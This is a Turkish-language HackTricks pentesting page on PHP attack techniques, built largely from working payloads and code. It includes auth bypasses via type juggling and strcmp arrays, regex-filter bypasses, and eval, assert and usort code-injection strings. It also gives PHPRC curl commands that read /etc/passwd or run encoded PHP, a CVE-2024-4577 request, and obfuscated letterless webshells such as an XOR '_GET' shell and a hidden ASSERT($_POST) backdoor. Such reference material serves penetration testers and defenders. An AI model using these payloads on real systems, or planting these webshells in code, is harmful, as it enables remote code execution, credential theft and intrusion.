hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-07-19 11:44:24 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:44:24 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:16:39 +00:00
php-ssrf.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:44:24 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:44:24 +00:00

PHP Tricks

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

{% embed url="https://websec.nl/" %}

Çerezlerin yaygın konumu:

Bu, phpMyAdmin çerezleri için de geçerlidir.

Çerezler:

PHPSESSID
phpMyAdmin

Konumlar:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP karşılaştırmalarını atlatma

Gevşek karşılaştırmalar/Tür Değiştirme ( == )

Eğer PHP'de == kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" yalnızca aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; karşılaştırılan verilerin türlerinin de aynı olduğunu kontrol etmek istiyorsanız === kullanmalısınız.

PHP karşılaştırma tabloları: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Sayı ile başlamayan bir dize, bir sayıya eşittir
  • "0xAAAA" == "43690" -> True Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizideki sayılar, sayılar olarak yorumlanır)
  • "0e3264578" == 0 --> True "0e" ile başlayan ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
  • "0X3264578" == 0X --> True "0" ile başlayan ve ardından herhangi bir harf (X herhangi bir harf olabilir) ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
  • "0e12334" == "0" --> True Bu çok ilginçtir çünkü bazı durumlarda "0" dizesinin girdiğini ve bununla karşılaştırılan bazı içeriklerin kontrolünü sağlayabilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta zaten hashlenmiş dizeleri burada bulabilirsiniz: https://github.com/spaze/hashes
  • "X" == 0 --> True Bir dizideki herhangi bir harf, int 0'a eşittir

Daha fazla bilgi için https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tür Değiştirme varsayılan olarak in_array() fonksiyonunu da etkiler (katı bir karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Eğer bu fonksiyon herhangi bir kimlik doğrulama kontrolü için kullanılıyorsa (şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (https://example.com/login.php/?username=admin&password[]=) ve bu kontrolü atlayabilir:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp() ile aynı hata meydana gelir

Katı Tür Dönüşümü

=== kullanılıyor olsa bile, karşılaştırmayı tip dönüşümüne duyarlı hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma karşılaştırmadan önce veriyi farklı bir tür nesneye dönüştürüyorsa:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() kullanıcı girişi doğrulamak için kullanılabilir (kullanıcı girişi üzerinde herhangi bir kelime/regex kara liste'den varsa kontrol eder ve eğer yoksa, kod çalışmaya devam edebilir).

Yeni satır atlatma

Ancak, regexp'nin başlangıcını belirlerken preg_match() kullanıcı girişinin sadece ilk satırını kontrol eder, bu nedenle eğer bir şekilde girişi birden fazla satırda gönderebilirseniz, bu kontrolü atlatabilirsiniz. Örnek:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Bu kontrolü atlamak için değerin yeni satırlarla urlencoded olarak gönderilmesi (%0A) veya JSON verisi gönderebiliyorsanız, birkaç satırda gönderebilirsiniz:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

Uzunluk hatası atlatma

(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştıramadım)
Eğer preg_match()'e geçerli çok büyük bir girdi gönderebilirseniz, işleyemeyecek ve kontrolü atlatabileceksiniz. Örneğin, bir JSON'u kara listeye alıyorsa şunu gönderebilirsiniz:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Kısacası, sorun PHP'deki preg_* fonksiyonlarının PCRE kütüphanesi üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır varsayılan olarak 100.000 olup, bu yığın içinde sığacak olandan fazladır.

Bu Stackoverflow başlığı da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:
Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, preg_match() fonksiyonunun false döndürmesini sağlayacak ve böylece uygulama girdimizin kötü niyetli olmadığını düşünecek, yükün sonunda {system(<verybadcommand>)} gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde edeceğiz.

Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki PHP belgeleri buna varsayılan olarak pcre.backtrack_limit değişkeninde 1_000_000 (1M) olduğunu belirtmektedir.
Buna ulaşmak için, 'X'*500_001 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP obfuscation için Tip Dolaşımı

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Eğer PHP başka bir sayfaya yönlendiriyorsa ancak başlık Location ayarlandıktan sonra die veya exit fonksiyonu çağrılmadıysa, PHP çalışmaya devam eder ve verileri gövdeye ekler:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal ve Dosya Dahil Etme Sömürüsü

Kontrol et:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Daha fazla hile

  • register_globals: PHP < 4.1.1.1'de veya yanlış yapılandırıldığında, register_globals aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $_GET gibi global değişkenlerde bir değer varsa örneğin $_GET["param"]="1234", $param üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek, kod içinde kullanılan değişkenleri geçersiz kılabilirsiniz.
  • Aynı alanın PHPSESSION çerezleri aynı yerde saklanır, bu nedenle bir alanda farklı çerezler farklı yollarla kullanılıyorsa, bir yolun diğer yolun çerezine erişmesini sağlayabilirsiniz ve diğer yol çerezinin değerini ayarlayabilirsiniz.
    Bu şekilde, eğer her iki yol da aynı isimde bir değişkene erişiyorsa, o değişkenin path1'deki değeri path2'ye uygulanabilir. Ve ardından path2, path1'in değişkenlerini geçerli kabul edecektir (çereze path2'deki karşılık gelen ismi vererek).
  • Makinenin kullanıcılarının kullanıcı adlarını aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: /~<USERNAME>.
  • LFI ve RCE php sarmalayıcıları kullanarak

password_hash/password_verify

Bu fonksiyonlar genellikle PHP'de şifrelerden hash oluşturmak ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını kontrol etmek için kullanılır.
Desteklenen algoritmalar: PASSWORD_DEFAULT ve PASSWORD_BCRYPT ( $2y$ ile başlar). PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynıdır. Ve şu anda, PASSWORD_BCRYPT'in girişte 72baytlık bir boyut sınırlaması vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP başlıkları bypass ederek PHP hatalarını istismar etme

Başlıkları ayarladıktan sonra hata oluşturma

bu twitter dizisinden görebilirsiniz ki, 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP yanıtında başlıkları ayarlamayacaktır.

Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını bypass etmeye olanak tanır:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Başlıkları ayarlamadan önce bir gövde doldurma

Eğer bir PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa, kullanıcı PHP sunucusunun bazı içerikleri yeterince uzun bir şekilde yazdırmasını sağlayabilir, böylece sunucu yanıta başlık eklemeye çalıştığında bir hata verecektir.
Aşağıdaki senaryoda saldırgan sunucunun büyük hatalar vermesini sağladı ve ekranda görebileceğiniz gibi PHP başlık bilgilerini değiştirmeye çalıştığında, başaramadı (örneğin CSP başlığı kullanıcıya gönderilmedi):

PHP fonksiyonlarında SSRF

Sayfayı kontrol et:

{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Kod yürütme

system("ls");
`ls`;
shell_exec("ls");

Daha fazla yararlı PHP fonksiyonu için bunu kontrol edin

preg_replace() ile RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" argümanında kodu çalıştırmak için en az bir eşleşme gereklidir.
Bu preg_replace seçeneği PHP 5.5.0 itibarıyla kullanımdan kaldırılmıştır.

Eval() ile RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert() ile RCE

Php içindeki bu fonksiyon, bir dize içinde yazılmış kodu çalıştırmanıza olanak tanır ve doğru veya yanlış döndürür (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilecektir. Örneğin:
assert("strpos($_GET['page']),'..') === false") --> Bu durumda RCE elde etmek için şunu yapabilirsiniz:

?page=a','NeVeR') === false and system('ls') and strpos('a

Kod sözdizimini bozmanız, payload'ınızı eklemeniz ve sonra tekrar düzeltmeniz gerekecek. "and" veya "%26%26" veya "|" gibi mantıksal işlemler kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü payload'ımız çalışmayacaktır.

Diğer bir seçenek, dizeye komutun yürütülmesini eklemektir: '.highlight_file('.passwd').'

Diğer bir seçenek (eğer iç kodunuz varsa) bazı değişkenleri değiştirerek yürütmeyi değiştirmektir: $file = "hola"

RCE via usort()

Bu fonksiyon, belirli bir fonksiyonu kullanarak bir dizi öğeyi sıralamak için kullanılır.
Bu fonksiyonu kötüye kullanmak için:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

To discover the number of parenthesis that you need to close:

  • ?order=id;}//: bir hata mesajı alıyoruz (Parse error: syntax error, unexpected ';'). Muhtemelen bir veya daha fazla parantez eksik.
  • ?order=id);}//: bir uyarı alıyoruz. Bu doğru görünüyor.
  • ?order=id));}//: bir hata mesajı alıyoruz (Parse error: syntax error, unexpected ')' i). Muhtemelen fazla kapanış parantezimiz var.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenizi sağlar (bu durumda çalışmayabilir).
  • PHPRC : PHP'ye konfigürasyon dosyasını nerede bulacağını belirtir, genellikle php.ini olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman PHPRC'yi PHP'yi ona yönlendirmek için kullanın. İkinci yüklenen dosyayı belirten bir auto_prepend_file girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce çalıştırılan normal PHP kodunu içerir.
  1. Shell kodumuzu içeren bir PHP dosyası yükleyin
  2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir auto_prepend_file direktifi içeren ikinci bir dosya yükleyin
  3. PHPRC değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
  • Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi alın orijinal rapordan.
  • PHPRC - başka bir seçenek
  • Eğer dosya yükleyemezseniz, FreeBSD'de stdin'i içeren "file" /dev/fd/0 kullanabilirsiniz:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ya da RCE almak için allow_url_include'yi etkinleştirip base64 PHP kodu ile bir dosya ekleyin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Teknik bu rapordan.

XAMPP CGI RCE - CVE-2024-4577

Web sunucusu HTTP isteklerini ayrıştırır ve bunları http://host/cgi.php?foo=bar gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar:

-d allow_url_include=1 -d auto_prepend_file=php://input

Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. bu gönderiden örneği kontrol edin.

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Statik analizi

Bu fonksiyonlara yapılan çağrılarda kod ekleyip ekleyemeyeceğinizi kontrol edin (buradan): here

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Eğer bir PHP uygulamasını hata ayıklıyorsanız, display_errors = On ekleyerek /etc/php5/apache2/php.ini dosyasında hata yazdırmayı global olarak etkinleştirebilir ve apache'yi yeniden başlatabilirsiniz: sudo systemctl restart apache2

PHP kodunu deobfuscate etme

PHP kodunu deobfuscate etmek için web www.unphp.net kullanabilirsiniz.

PHP Wrapper'ları ve Protokoller

PHP Wrapper'ları ve protokolleri, bir sistemde yazma ve okuma korumalarını atlamanıza ve onu tehlikeye atmanıza olanak tanıyabilir. daha fazla bilgi için bu sayfayı kontrol edin.

Xdebug kimlik doğrulaması yapılmamış RCE

Eğer phpconfig() çıktısında Xdebug'ın etkin olduğunu görüyorsanız, https://github.com/nqxcode/xdebug-exploit üzerinden RCE elde etmeyi denemelisiniz.

Değişken değişkenler

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE yeni $_GET["a"]($_GET["b")'yi istismar etme

Bir sayfada rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Harf olmadan PHP çalıştırma

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Sekizli kullanarak

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR kolay shell kodu

bu yazıya göre, kolay bir shell kodu bu şekilde oluşturmak mümkündür:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Yani, eğer rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız, aşağıdaki gibi bir istek gönderebilirsiniz, bu yükü kullanarak rastgele PHP çalıştırmak için:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Daha derin bir açıklama için https://ctf-wiki.org/web/php/php/#preg_match adresini kontrol edin.

XOR Shellcode (eval içinde)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl benzeri

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}